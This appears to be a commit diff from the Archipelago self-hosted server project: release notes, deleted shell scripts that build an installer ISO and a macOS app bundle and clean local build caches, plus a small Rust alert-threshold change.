5. **Connect to Existing Server**: Not yet implemented in onboarding flow
6. **Immich**: Stack installation may take 5+ minutes due to multiple container images
7. **Memory**: Running all apps simultaneously requires 16+ GB RAM
8. **Disk Space**: Full Bitcoin node + all apps requires 800+ GB
## Upgrade Path
This is a beta release. No upgrade path from beta to stable is guaranteed. Back up your data before installing.
## System Requirements
| Component | Minimum | Recommended |
|-----------|---------|-------------|
| CPU | 4 cores | 8+ cores |
| RAM | 16 GB | 32 GB |
| Storage | 500 GB SSD | 2 TB NVMe |
| Network | Ethernet | Gigabit Ethernet |
## Getting Started
1. Download the ISO for your architecture
2. Flash to USB with balenaEtcher or `dd`
3. Boot from USB on target hardware
4. Auto-installer runs — follow on-screen prompts
5. After reboot, navigate to `http://<server-ip>` in your browser
6. Complete the onboarding wizard
7. Start installing apps from the App Store
See [User Guide](docs/user-guide.md) for detailed instructions.

View File

@@ -1,400 +0,0 @@
#!/bin/bash
#
# Archipelago Complete ISO Build System
# =====================================
#
# This script builds a complete, flashable ISO from source with one command.
# It handles backend compilation, frontend bundling, and ISO creation.
#
# Usage:
# ./build-iso-complete.sh [options]
#
# Options:
# --local Build everything locally (requires Rust + Node.js)
# --remote HOST Build on remote server (recommended for ARM -> x86 cross-compile)
# --skip-backend Skip backend compilation (use existing binary)
# --skip-frontend Skip frontend build (use existing dist)
# --clean Clean all build artifacts before building
# --help Show this help message
#
# Examples:
# ./build-iso-complete.sh --remote archipelago@192.168.1.228
# ./build-iso-complete.sh --local --clean
#
# Auto-installer from live server: when using --remote HOST, the ISO script
# (build-auto-installer-iso.sh) is run with DEV_SERVER=HOST so it captures
# backend, frontend, and container images from that host. Alternatively run
# DEV_SERVER=archipelago@192.168.1.228 ./image-recipe/build-auto-installer-iso.sh
# to build the auto-installer ISO with live capture only (no backend/frontend build).
#
set -e # Exit on error
# =============================================================================
# Configuration
# =============================================================================
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
BUILD_DIR="$SCRIPT_DIR/image-recipe/build"
BACKEND_SRC="$SCRIPT_DIR/core/archipelago"
FRONTEND_SRC="$SCRIPT_DIR/neode-ui"
ISO_SCRIPT="$SCRIPT_DIR/image-recipe/build-auto-installer-iso.sh"
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Build options (defaults)
BUILD_MODE="remote"
REMOTE_HOST=""
SKIP_BACKEND=false
SKIP_FRONTEND=false
CLEAN_BUILD=false
# =============================================================================
# Helper Functions
# =============================================================================
print_header() {
echo ""
echo -e "${BLUE}╔════════════════════════════════════════════════════════╗${NC}"
echo -e "${BLUE}${NC} $1"
echo -e "${BLUE}╚════════════════════════════════════════════════════════╝${NC}"
echo ""
}
print_success() {
echo -e "${GREEN}$1${NC}"
}
print_error() {
echo -e "${RED}$1${NC}"
}
print_warning() {
echo -e "${YELLOW}⚠️ $1${NC}"
}
print_info() {
echo -e "${BLUE} $1${NC}"
}
show_help() {
head -n 25 "$0" | grep "^#" | sed 's/^# //' | sed 's/^#//'
exit 0
}
check_command() {
if ! command -v "$1" &> /dev/null; then
print_error "$1 is not installed"
return 1
fi
return 0
}
# =============================================================================
# Parse Arguments
# =============================================================================
while [[ $# -gt 0 ]]; do
case $1 in
--local)
BUILD_MODE="local"
shift
;;
--remote)
BUILD_MODE="remote"
REMOTE_HOST="$2"
shift 2
;;
--skip-backend)
SKIP_BACKEND=true
shift
;;
--skip-frontend)
SKIP_FRONTEND=true
shift
;;
--clean)
CLEAN_BUILD=true
shift
;;
--help|-h)
show_help
;;
*)
print_error "Unknown option: $1"
show_help
;;
esac
done
# =============================================================================
# Pre-flight Checks
# =============================================================================
print_header "Archipelago Complete ISO Builder"
print_info "Build mode: $BUILD_MODE"
[[ -n "$REMOTE_HOST" ]] && print_info "Remote host: $REMOTE_HOST"
[[ "$SKIP_BACKEND" = true ]] && print_warning "Skipping backend build"
[[ "$SKIP_FRONTEND" = true ]] && print_warning "Skipping frontend build"
[[ "$CLEAN_BUILD" = true ]] && print_warning "Clean build enabled"
echo ""
# Check for required commands
if [[ "$BUILD_MODE" == "remote" ]] && [[ -z "$REMOTE_HOST" ]]; then
print_error "Remote build mode requires --remote HOST"
exit 1
fi
if [[ "$BUILD_MODE" == "remote" ]]; then
if ! check_command ssh; then
exit 1
fi
if ! check_command rsync; then
exit 1
fi
fi
# =============================================================================
# Step 1: Clean Build Artifacts (if requested)
# =============================================================================
if [[ "$CLEAN_BUILD" = true ]]; then
print_header "Cleaning Build Artifacts"
if [[ "$SKIP_BACKEND" = false ]]; then
print_info "Cleaning backend..."
rm -rf "$BACKEND_SRC/target"
print_success "Backend cleaned"
fi
if [[ "$SKIP_FRONTEND" = false ]]; then
print_info "Cleaning frontend..."
rm -rf "$FRONTEND_SRC/dist"
rm -rf "$FRONTEND_SRC/node_modules/.vite"
print_success "Frontend cleaned"
fi
print_info "Cleaning ISO build directory..."
rm -rf "$BUILD_DIR"
rm -rf "$SCRIPT_DIR/image-recipe/iso-workdir"
rm -rf "$SCRIPT_DIR/image-recipe/results"
print_success "ISO build artifacts cleaned"
fi
# =============================================================================
# Step 2: Build Backend
# =============================================================================
if [[ "$SKIP_BACKEND" = false ]]; then
print_header "Building Backend (Rust)"
if [[ "$BUILD_MODE" == "local" ]]; then
print_info "Building backend locally..."
cd "$BACKEND_SRC"
if ! check_command cargo; then
print_error "Rust/Cargo not installed. Install from: https://rustup.rs"
exit 1
fi
cargo build --release
# Copy to build directory
mkdir -p "$BUILD_DIR/backend"
cp target/release/archipelago "$BUILD_DIR/backend/"
chmod +x "$BUILD_DIR/backend/archipelago"
print_success "Backend built locally"
elif [[ "$BUILD_MODE" == "remote" ]]; then
print_info "Building backend on remote server: $REMOTE_HOST"
# Sync source code to remote
print_info "Syncing source code to remote..."
ssh "$REMOTE_HOST" "mkdir -p ~/archy-build"
rsync -az --delete \
--exclude 'target/' \
--exclude 'node_modules/' \
--exclude '.git/' \
"$BACKEND_SRC/" "$REMOTE_HOST:~/archy-build/core/archipelago/"
# Build on remote
print_info "Compiling backend on remote..."
ssh "$REMOTE_HOST" "cd ~/archy-build/core/archipelago && cargo build --release"
# Copy binary back
mkdir -p "$BUILD_DIR/backend"
print_info "Copying binary back to local..."
scp "$REMOTE_HOST:~/archy-build/core/archipelago/target/release/archipelago" "$BUILD_DIR/backend/"
chmod +x "$BUILD_DIR/backend/archipelago"
print_success "Backend built on remote server"
fi
# Verify binary
if [[ ! -f "$BUILD_DIR/backend/archipelago" ]]; then
print_error "Backend binary not found after build!"
exit 1
fi
BINARY_SIZE=$(du -h "$BUILD_DIR/backend/archipelago" | awk '{print $1}')
print_success "Backend binary ready ($BINARY_SIZE)"
else
print_warning "Skipping backend build (using existing binary)"
if [[ ! -f "$BUILD_DIR/backend/archipelago" ]]; then
print_error "No existing backend binary found at $BUILD_DIR/backend/archipelago"
exit 1
fi
fi
# =============================================================================
# Step 3: Build Frontend
# =============================================================================
if [[ "$SKIP_FRONTEND" = false ]]; then
print_header "Building Frontend (Vue.js)"
cd "$FRONTEND_SRC"
if ! check_command npm; then
print_error "Node.js/npm not installed. Install from: https://nodejs.org"
exit 1
fi
# Install dependencies if needed
if [[ ! -d "node_modules" ]] || [[ "$CLEAN_BUILD" = true ]]; then
print_info "Installing dependencies..."
npm install
fi
# Build frontend
print_info "Building frontend..."
npm run build
# Copy to build directory
mkdir -p "$BUILD_DIR/frontend"
cp -r dist/* "$BUILD_DIR/frontend/"
print_success "Frontend built"
# Verify dist
if [[ ! -d "$BUILD_DIR/frontend" ]] || [[ -z "$(ls -A "$BUILD_DIR/frontend")" ]]; then
print_error "Frontend build directory is empty!"
exit 1
fi
DIST_SIZE=$(du -sh "$BUILD_DIR/frontend" | awk '{print $1}')
print_success "Frontend assets ready ($DIST_SIZE)"
else
print_warning "Skipping frontend build (using existing dist)"
if [[ ! -d "$BUILD_DIR/frontend" ]] || [[ -z "$(ls -A "$BUILD_DIR/frontend")" ]]; then
print_error "No existing frontend build found at $BUILD_DIR/frontend"
exit 1
fi
fi
# =============================================================================
# Step 4: Build ISO
# =============================================================================
print_header "Building Bootable ISO"
# Check if running on remote or need to transfer
if [[ "$BUILD_MODE" == "remote" ]]; then
print_info "Transferring build artifacts to remote server..."
# Sync entire project to remote
ssh "$REMOTE_HOST" "mkdir -p ~/archy"
rsync -az --delete \
--exclude '.git/' \
--exclude 'node_modules/' \
--exclude 'core/target/' \
--exclude 'core/parmanode/' \
"$SCRIPT_DIR/" "$REMOTE_HOST:~/archy/"
print_success "Files synced to remote"
print_info "Running ISO build on remote server (auto-installer, DEV_SERVER=$REMOTE_HOST)..."
ssh -t "$REMOTE_HOST" "cd ~/archy/image-recipe && DEV_SERVER=$REMOTE_HOST sudo -E bash build-auto-installer-iso.sh" || {
print_error "ISO build failed on remote server"
exit 1
}
print_success "ISO built on remote server"
# Copy ISO back to local
ISO_NAME="archipelago-installer-x86_64.iso"
print_info "Copying ISO back to local machine..."
mkdir -p "$SCRIPT_DIR/image-recipe/results"
scp "$REMOTE_HOST:~/archy/image-recipe/results/$ISO_NAME" "$SCRIPT_DIR/image-recipe/results/"
ISO_PATH="$SCRIPT_DIR/image-recipe/results/$ISO_NAME"
else
# Local build
print_info "Running ISO build locally (auto-installer)..."
cd "$SCRIPT_DIR/image-recipe"
sudo bash build-auto-installer-iso.sh
ISO_PATH="$SCRIPT_DIR/image-recipe/results/archipelago-installer-x86_64.iso"
fi
# =============================================================================
# Step 5: Verify and Report
# =============================================================================
print_header "Build Complete!"
if [[ -f "$ISO_PATH" ]]; then
ISO_SIZE=$(du -h "$ISO_PATH" | awk '{print $1}')
ISO_MD5=$(md5 -q "$ISO_PATH" 2>/dev/null || md5sum "$ISO_PATH" | awk '{print $1}')
echo ""
echo -e "${GREEN}✅ ISO ready for flashing!${NC}"
echo ""
echo -e " 📀 ${BLUE}ISO:${NC} $ISO_PATH"
echo -e " 📏 ${BLUE}Size:${NC} $ISO_SIZE"
echo -e " 🔐 ${BLUE}MD5:${NC} $ISO_MD5"
echo ""
echo -e "${YELLOW}Next steps:${NC}"
echo ""
echo " 1. Insert USB drive"
echo " 2. Find device: ${BLUE}diskutil list${NC}"
echo " 3. Flash ISO:"
echo ""
echo " ${BLUE}cd image-recipe && ./write-usb-dd.sh /dev/diskN${NC}"
echo ""
echo " 4. Boot from USB on target device"
echo ""
# Create a flash script for convenience
cat > "$SCRIPT_DIR/flash-to-usb.sh" <<'FLASH_EOF'
#!/bin/bash
# Quick USB flash script
cd "$(dirname "$0")/image-recipe" && ./write-usb-dd.sh "$@"
FLASH_EOF
chmod +x "$SCRIPT_DIR/flash-to-usb.sh"
print_success "Created convenience script: ./flash-to-usb.sh"
else
print_error "ISO not found at expected location: $ISO_PATH"
exit 1
fi
# =============================================================================
# Done!
# =============================================================================
echo ""
echo -e "${GREEN}╔════════════════════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║ 🎉 Build Complete - Ready to Flash! ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════════════════════╝${NC}"
echo ""

View File

@@ -1,290 +0,0 @@
#!/bin/bash
# Archipelago Production macOS Build Script
# Creates a production-ready .app bundle and .dmg installer
set -e
PROJECT_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
APP_NAME="Archipelago"
APP_VERSION="${ARCHIPELAGO_VERSION:-0.1.0}"
BUILD_DIR="$PROJECT_ROOT/build/macos"
APP_BUNDLE="$BUILD_DIR/$APP_NAME.app"
DMG_NAME="Archipelago-${APP_VERSION}-macOS.dmg"
echo "🏗️ Archipelago macOS Production Build"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo " Version: $APP_VERSION"
echo " Target: macOS App Bundle + DMG Installer"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo ""
# Clean previous build
echo "🧹 Cleaning previous build..."
rm -rf "$BUILD_DIR"
mkdir -p "$BUILD_DIR"
# Step 1: Build Rust Backend (Release Mode)
echo ""
echo "⚙️ Step 1/6: Building Rust backend (release mode)..."
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cd "$PROJECT_ROOT/core"
cargo build --release --workspace
if [ ! -f "target/release/archipelago" ]; then
echo "❌ Backend build failed - archipelago binary not found"
exit 1
fi
# Get binary size
BACKEND_SIZE=$(du -h target/release/archipelago | cut -f1)
echo "✅ Backend built successfully ($BACKEND_SIZE)"
# Step 2: Build Vue.js Frontend (Production Mode)
echo ""
echo "🎨 Step 2/6: Building Vue.js frontend (production mode)..."
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cd "$PROJECT_ROOT/neode-ui"
# Check if node_modules exists
if [ ! -d "node_modules" ]; then
echo "📦 Installing frontend dependencies..."
npm install
fi
# Build production frontend
npm run build
if [ ! -d "dist" ]; then
echo "❌ Frontend build failed - dist directory not found"
exit 1
fi
# Get build size
FRONTEND_SIZE=$(du -sh dist | cut -f1)
echo "✅ Frontend built successfully ($FRONTEND_SIZE)"
# Step 3: Create macOS App Bundle Structure
echo ""
echo "📦 Step 3/6: Creating macOS app bundle..."
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
# Create standard macOS .app directory structure
mkdir -p "$APP_BUNDLE/Contents/MacOS"
mkdir -p "$APP_BUNDLE/Contents/Resources"
mkdir -p "$APP_BUNDLE/Contents/Frameworks"
# Copy backend binary
echo " • Copying backend binary..."
cp "$PROJECT_ROOT/core/target/release/archipelago" "$APP_BUNDLE/Contents/MacOS/"
chmod +x "$APP_BUNDLE/Contents/MacOS/archipelago"
# Copy frontend build
echo " • Copying frontend assets..."
cp -R "$PROJECT_ROOT/neode-ui/dist" "$APP_BUNDLE/Contents/Resources/frontend"
# Copy Docker UI assets
echo " • Copying Docker UI assets..."
mkdir -p "$APP_BUNDLE/Contents/Resources/docker-ui"
cp -R "$PROJECT_ROOT/docker/bitcoin-ui" "$APP_BUNDLE/Contents/Resources/docker-ui/"
cp -R "$PROJECT_ROOT/docker/lnd-ui" "$APP_BUNDLE/Contents/Resources/docker-ui/"
# Copy configuration templates
echo " • Copying configuration..."
cp "$PROJECT_ROOT/core/.env.example" "$APP_BUNDLE/Contents/Resources/env.template"
cp "$PROJECT_ROOT/core/.env.production" "$APP_BUNDLE/Contents/Resources/env.production"
# Copy docker-compose.yml for production
echo " • Copying Docker configuration..."
cp "$PROJECT_ROOT/docker-compose.yml" "$APP_BUNDLE/Contents/Resources/"
cp "$PROJECT_ROOT/manage-docker.sh" "$APP_BUNDLE/Contents/MacOS/"
chmod +x "$APP_BUNDLE/Contents/MacOS/manage-docker.sh"
# Create launch script
echo " • Creating launcher script..."
cat > "$APP_BUNDLE/Contents/MacOS/launch.sh" << 'LAUNCH_EOF'
#!/bin/bash
# Archipelago macOS Launcher
# Get the directory containing this script
BUNDLE_DIR="$(cd "$(dirname "$0")/.." && pwd)"
RESOURCES_DIR="$BUNDLE_DIR/Resources"
MACOS_DIR="$BUNDLE_DIR/MacOS"
# Set up data directory in user's home
DATA_DIR="$HOME/Library/Application Support/Archipelago"
mkdir -p "$DATA_DIR/data"
mkdir -p "$DATA_DIR/logs"
# Export environment variables
export ARCHIPELAGO_DATA_DIR="$DATA_DIR/data"
export ARCHIPELAGO_FRONTEND_DIR="$RESOURCES_DIR/frontend"
export ARCHIPELAGO_DOCKER_UI_DIR="$RESOURCES_DIR/docker-ui"
export ARCHIPELAGO_LOG_DIR="$DATA_DIR/logs"
export RUST_LOG="${RUST_LOG:-info}"
# Launch backend
cd "$DATA_DIR"
exec "$MACOS_DIR/archipelago" > "$DATA_DIR/logs/archipelago.log" 2>&1
LAUNCH_EOF
chmod +x "$APP_BUNDLE/Contents/MacOS/launch.sh"
# Step 4: Create Info.plist
echo ""
echo "📄 Step 4/6: Creating app metadata..."
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat > "$APP_BUNDLE/Contents/Info.plist" << PLIST_EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleName</key>
<string>Archipelago</string>
<key>CFBundleDisplayName</key>
<string>Archipelago</string>
<key>CFBundleIdentifier</key>
<string>com.archipelago.app</string>
<key>CFBundleVersion</key>
<string>$APP_VERSION</string>
<key>CFBundleShortVersionString</key>
<string>$APP_VERSION</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleSignature</key>
<string>ARCH</string>
<key>CFBundleExecutable</key>
<string>launch.sh</string>
<key>CFBundleIconFile</key>
<string>AppIcon</string>
<key>NSHighResolutionCapable</key>
<true/>
<key>LSMinimumSystemVersion</key>
<string>10.15</string>
<key>LSApplicationCategoryType</key>
<string>public.app-category.utilities</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2026 Archipelago. All rights reserved.</string>
<key>LSBackgroundOnly</key>
<false/>
<key>NSRequiresAquaSystemAppearance</key>
<false/>
<key>NSSupportsAutomaticGraphicsSwitching</key>
<true/>
</dict>
</plist>
PLIST_EOF
echo "✅ Info.plist created"
# Create PkgInfo
echo -n "APPLARCH" > "$APP_BUNDLE/Contents/PkgInfo"
# Step 5: Create App Icon (placeholder - user should provide real icon)
echo ""
echo "🎨 Step 5/6: Creating app icon..."
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
# Check if sips command is available (macOS built-in)
if command -v sips >/dev/null 2>&1; then
# Try to find a logo to convert
LOGO_SOURCE=""
if [ -f "$PROJECT_ROOT/neode-ui/public/assets/img/logo.png" ]; then
LOGO_SOURCE="$PROJECT_ROOT/neode-ui/public/assets/img/logo.png"
elif [ -f "$PROJECT_ROOT/neode-ui/public/assets/img/app-icons/bitcoin-core.png" ]; then
LOGO_SOURCE="$PROJECT_ROOT/neode-ui/public/assets/img/app-icons/bitcoin-core.png"
fi
if [ -n "$LOGO_SOURCE" ]; then
# Create iconset
ICONSET_DIR="$BUILD_DIR/AppIcon.iconset"
mkdir -p "$ICONSET_DIR"
# Generate icon sizes
for size in 16 32 128 256 512; do
sips -z $size $size "$LOGO_SOURCE" --out "$ICONSET_DIR/icon_${size}x${size}.png" >/dev/null 2>&1
sips -z $((size*2)) $((size*2)) "$LOGO_SOURCE" --out "$ICONSET_DIR/icon_${size}x${size}@2x.png" >/dev/null 2>&1
done
# Convert to icns
iconutil -c icns "$ICONSET_DIR" -o "$APP_BUNDLE/Contents/Resources/AppIcon.icns" 2>/dev/null || {
echo "⚠️ Icon conversion failed - app will use default icon"
}
rm -rf "$ICONSET_DIR"
echo "✅ App icon created from $LOGO_SOURCE"
else
echo "⚠️ No logo found - app will use default icon"
echo " Add logo.png to neode-ui/public/assets/img/ and rebuild"
fi
else
echo "⚠️ sips not available - skipping icon creation"
fi
# Step 6: Create DMG Installer
echo ""
echo "💿 Step 6/6: Creating DMG installer..."
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
DMG_TEMP_DIR="$BUILD_DIR/dmg"
mkdir -p "$DMG_TEMP_DIR"
# Copy app to DMG staging
cp -R "$APP_BUNDLE" "$DMG_TEMP_DIR/"
# Create Applications symlink
ln -s /Applications "$DMG_TEMP_DIR/Applications"
# Create DMG
hdiutil create -volname "Archipelago $APP_VERSION" \
-srcfolder "$DMG_TEMP_DIR" \
-ov -format UDZO \
"$BUILD_DIR/$DMG_NAME" 2>/dev/null || {
echo "⚠️ DMG creation failed - using app bundle only"
}
# Cleanup
rm -rf "$DMG_TEMP_DIR"
# Summary
echo ""
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "✅ Production build complete!"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo ""
echo "📦 Build artifacts:"
echo " • App Bundle: $APP_BUNDLE"
if [ -f "$BUILD_DIR/$DMG_NAME" ]; then
DMG_SIZE=$(du -h "$BUILD_DIR/$DMG_NAME" | cut -f1)
echo " • DMG Installer: $BUILD_DIR/$DMG_NAME ($DMG_SIZE)"
fi
echo ""
echo "📋 Build summary:"
echo " • Backend: $BACKEND_SIZE (Rust)"
echo " • Frontend: $FRONTEND_SIZE (Vue.js)"
BUNDLE_SIZE=$(du -sh "$APP_BUNDLE" | cut -f1)
echo " • Total Bundle: $BUNDLE_SIZE"
echo ""
echo "🚀 Next steps:"
echo " 1. Test the app:"
echo " open \"$APP_BUNDLE\""
echo ""
echo " 2. Install system-wide:"
echo " cp -R \"$APP_BUNDLE\" /Applications/"
echo ""
echo " 3. Distribute via DMG:"
if [ -f "$BUILD_DIR/$DMG_NAME" ]; then
echo " • Share: $BUILD_DIR/$DMG_NAME"
else
echo " • (DMG creation skipped - use app bundle directly)"
fi
echo ""
echo " 4. Code signing (optional but recommended):"
echo " codesign --deep --force --verify --verbose \\
--sign \"Developer ID Application: Your Name\" \\
\"$APP_BUNDLE\""
echo ""
echo "💡 For notarization (macOS 10.14.5+):"
echo " • Requires Apple Developer account"
echo " • Use: xcrun notarytool submit $DMG_NAME ..."
echo ""

View File

@@ -1,101 +0,0 @@
#!/bin/bash
# Archipelago Mac Cleanup Script
# Removes unnecessary local development artifacts
# Safe to run - only removes build caches and Docker data
set -e
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ Archipelago Mac Cleanup ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
# Track space saved
TOTAL_SAVED=0
# Function to calculate and display savings
calc_savings() {
local path="$1"
if [ -e "$path" ]; then
local size=$(du -sk "$path" | cut -f1)
TOTAL_SAVED=$((TOTAL_SAVED + size))
fi
}
# 1. Clean Rust build artifacts (1.6 GB)
if [ -d "core/target" ]; then
echo "🧹 Cleaning Rust build artifacts..."
calc_savings "core/target"
rm -rf core/target
echo " ✅ Removed core/target/ (~1.6 GB)"
else
echo " ✅ core/target/ already clean"
fi
# 2. Clean ISO build artifacts (8.6 GB)
if [ -d "image-recipe/build" ]; then
echo "🧹 Cleaning ISO build artifacts..."
calc_savings "image-recipe/build"
rm -rf image-recipe/build
echo " ✅ Removed image-recipe/build/ (~8.6 GB)"
else
echo " ✅ image-recipe/build/ already clean"
fi
# 3. Clean old ISOs (keep latest only)
if [ -d "image-recipe/results" ]; then
ISO_COUNT=$(ls -1 image-recipe/results/*.iso 2>/dev/null | wc -l | tr -d ' ')
if [ "$ISO_COUNT" -gt 1 ]; then
echo "🧹 Cleaning old ISO files (keeping latest)..."
# Keep the most recent ISO, delete others
cd image-recipe/results
ls -t *.iso | tail -n +2 | while read iso; do
calc_savings "$iso"
echo " 🗑️ Removing $iso"
rm "$iso"
done
cd ../..
echo " ✅ Kept latest ISO, removed old ones (~3 GB saved)"
else
echo " ✅ Only one ISO found, keeping it"
fi
fi
# 4. Show Docker Desktop warning (requires manual removal)
DOCKER_SIZE=$(du -sk ~/Library/Containers/com.docker.docker 2>/dev/null | cut -f1 || echo "0")
if [ "$DOCKER_SIZE" -gt 1000000 ]; then
DOCKER_GB=$((DOCKER_SIZE / 1024 / 1024))
echo ""
echo "⚠️ Docker Desktop Data Found: ~${DOCKER_GB} GB"
echo " Location: ~/Library/Containers/com.docker.docker"
echo ""
echo " Since you develop on the remote server, you likely don't need this."
echo " To remove Docker Desktop completely:"
echo " 1. Open Docker Desktop app"
echo " 2. Troubleshoot → Uninstall"
echo " OR manually: rm -rf ~/Library/Containers/com.docker.docker"
echo ""
fi
# Summary
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ Cleanup Complete! ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
SAVED_GB=$((TOTAL_SAVED / 1024 / 1024))
echo "💾 Space saved: ~${SAVED_GB} GB"
echo ""
echo "Your Mac now has:"
echo " ✅ Source code (for editing)"
echo " ✅ Deployment scripts (for remote dev)"
echo " ✅ Latest ISO (for flashing)"
echo " ❌ No build artifacts (rebuild on remote or in CI)"
echo ""
echo "Development workflow:"
echo " 1. Edit code locally"
echo " 2. Deploy: ./scripts/deploy-to-target.sh --live"
echo " 3. Test on: http://192.168.1.228"
echo ""
echo "To rebuild ISO when needed:"
echo " cd image-recipe && ./build-debian-iso.sh"
echo ""

3
core/Cargo.lock generated
View File

@@ -80,7 +80,7 @@ checksum = "a23eb6b1614318a8071c9b2521f36b424b2c83db5eb3a0fead4a6c0809af6e61"
[[package]]
name = "archipelago"
version = "1.1.0"
version = "1.2.0-alpha"
dependencies = [
"anyhow",
"archipelago-container",
@@ -202,6 +202,7 @@ dependencies = [
"tokio",
"tracing",
"uuid",
"zeroize",
]
[[package]]

View File

@@ -108,9 +108,9 @@ impl AlertRule {
},
AlertRule {
kind: AlertRuleKind::CpuLoad,
threshold: 2.0,
threshold: 4.0,
enabled: true,
description: "CPU load exceeds 2x core count for 5 minutes".to_string(),
description: "CPU load exceeds 4x core count for 5 minutes".to_string(),
},
AlertRule {
kind: AlertRuleKind::ContainerCrash,

View File

@@ -1,162 +0,0 @@
#!/bin/bash
# Archipelago Deep Cleanup Script
# Removes ALL development caches and build artifacts safely
# This is more aggressive than cleanup-mac.sh but 100% safe
set -e
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ Archipelago DEEP Cleanup ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
echo "This will remove ALL caches and temporary files."
echo "Everything can be rebuilt when needed."
echo ""
TOTAL_SAVED=0
# Function to calculate and display savings
calc_savings() {
local path="$1"
if [ -e "$path" ]; then
local size=$(du -sk "$path" | cut -f1)
TOTAL_SAVED=$((TOTAL_SAVED + size))
fi
}
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "PROJECT DIRECTORY CLEANUP"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
# 1. Remove Rust build artifacts
if [ -d "core/target" ]; then
echo "🧹 Removing Rust build cache..."
calc_savings "core/target"
rm -rf core/target
echo " ✅ Removed core/target/"
fi
# 2. Remove node_modules (can be reinstalled with npm install)
if [ -d "neode-ui/node_modules" ]; then
echo "🧹 Removing node_modules (180 MB)..."
calc_savings "neode-ui/node_modules"
rm -rf neode-ui/node_modules
echo " ✅ Removed neode-ui/node_modules/"
echo " Run 'npm install' in neode-ui/ to restore"
fi
# 3. Remove local dist builds (built to remote server anyway)
if [ -d "neode-ui/dist" ]; then
echo "🧹 Removing local frontend builds..."
calc_savings "neode-ui/dist"
rm -rf neode-ui/dist
echo " ✅ Removed neode-ui/dist/"
fi
if [ -d "web/dist" ]; then
calc_savings "web/dist"
rm -rf web/dist
echo " ✅ Removed web/dist/"
fi
# 4. Remove .DS_Store files
echo "🧹 Removing .DS_Store files..."
find . -name ".DS_Store" -type f -delete 2>/dev/null || true
echo " ✅ Removed all .DS_Store files"
# 5. Remove ISO build artifacts
if [ -d "image-recipe/build" ]; then
echo "🧹 Removing ISO build artifacts..."
calc_savings "image-recipe/build"
rm -rf image-recipe/build
echo " ✅ Removed image-recipe/build/"
fi
# 6. Keep only the latest ISO
if [ -d "image-recipe/results" ]; then
ISO_COUNT=$(ls -1 image-recipe/results/*.iso 2>/dev/null | wc -l | tr -d ' ')
if [ "$ISO_COUNT" -gt 1 ]; then
echo "🧹 Cleaning old ISOs (keeping latest)..."
cd image-recipe/results
ls -t *.iso | tail -n +2 | while read iso; do
calc_savings "$iso"
rm "$iso"
done
cd ../..
echo " ✅ Kept latest ISO only"
fi
fi
# 7. Optimize Git repository
echo "🧹 Optimizing Git repository..."
BEFORE_GIT=$(du -sk .git | cut -f1)
git gc --aggressive --prune=now 2>&1 | grep -v "^Enumerating" | grep -v "^Counting" | head -5 || true
AFTER_GIT=$(du -sk .git | cut -f1)
GIT_SAVED=$((BEFORE_GIT - AFTER_GIT))
TOTAL_SAVED=$((TOTAL_SAVED + GIT_SAVED))
echo " ✅ Git repository optimized"
echo ""
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "SYSTEM-WIDE CACHE CLEANUP"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
# 8. Clean Cargo cache (keeps only essential files)
if [ -d ~/.cargo/registry ]; then
echo "🧹 Cleaning Cargo registry cache..."
calc_savings ~/.cargo/registry
cargo cache -a 2>/dev/null || rm -rf ~/.cargo/registry/cache ~/.cargo/registry/src 2>/dev/null || true
echo " ✅ Cleaned Cargo cache (~177 MB)"
fi
# 9. Clean npm cache
if [ -d ~/.npm ]; then
echo "🧹 Cleaning npm cache..."
calc_savings ~/.npm
npm cache clean --force 2>/dev/null || true
echo " ✅ Cleaned npm cache (~249 MB)"
fi
# 10. Clean Homebrew cache
if [ -d ~/Library/Caches/Homebrew ]; then
echo "🧹 Cleaning Homebrew cache..."
calc_savings ~/Library/Caches/Homebrew
brew cleanup 2>/dev/null || true
rm -rf ~/Library/Caches/Homebrew/* 2>/dev/null || true
echo " ✅ Cleaned Homebrew cache (~890 MB)"
fi
echo ""
